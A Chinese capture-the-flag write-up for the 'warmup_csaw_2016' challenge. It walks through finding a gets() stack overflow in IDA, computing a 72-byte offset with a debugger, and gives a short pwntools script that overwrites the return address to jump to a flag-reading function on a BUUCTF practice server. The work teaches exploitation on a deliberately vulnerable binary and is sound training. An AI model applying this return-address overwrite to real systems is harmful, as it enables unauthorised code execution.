zoukankan      html  css  js  c++  java
  • 栈溢出warmup_csaw_2016

     打开IDA观察,存在gets函数。并且有提示sub_40060D这个函数。

     观察这个函数,可以发现,是查看flag的。到这里就能够确定思路了,利用gets函数修改返回地址到sub_40060D读取flag就可以了。

    在这里可以看到,gets函数是用的v5指针,它的地址是rbp-40h.又因为是64位程序,所以需要再覆盖掉8个字节(返回地址前的那个栈帧),所以想要覆盖掉返回地址,需要40h+8h个字节的填充数据。

     然后执行动态调试,验证一下IDA中显示的是否正确,在这里没法用 b main来设置断点,因此用地址形式下断点。

    当程序执行完gets返回后,暂停观察。可以发现这里的gets返回调用函数后,并没有对栈进行操作,那么这个gets应该就不是cdcall,这样的话,现在的栈就是main函数的栈了。 

     在这里我输入的是一串0. 可以发现,输入的数据存放在了0xde70的地方,而栈底EBP在0xde30的地方。正好是40h。与IDA中显示的一致。

    1 from pwn import *
    2 io=remote('node3.buuoj.cn',27451)
    3 #io=process('./warmup')
    4 payload=b'A'*72+p64(0x40060D)
    5 print(io.recv())
    6 io.sendline(payload)
    7 print(io.recvline())

    但是这里如果用本地文件打开的方式,会在第7行出现读取文件错误,原因不知。

     然后我在BUUCTF网站上找到了相同的题目,就成功了。

  • 相关阅读:
    mybatis 使用动态SQL
    mybatis 使用resultMap实现关联数据的查询(association 和collection )
    mybatis中的resultMap
    struts2 + ajax + json的结合使用,实例讲解
    destroy-method="close"的作用
    ajax
    Iterator<转>
    实现ajax
    struts返回json
    orm 相关
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/14083332.html
Copyright © 2011-2022 走看看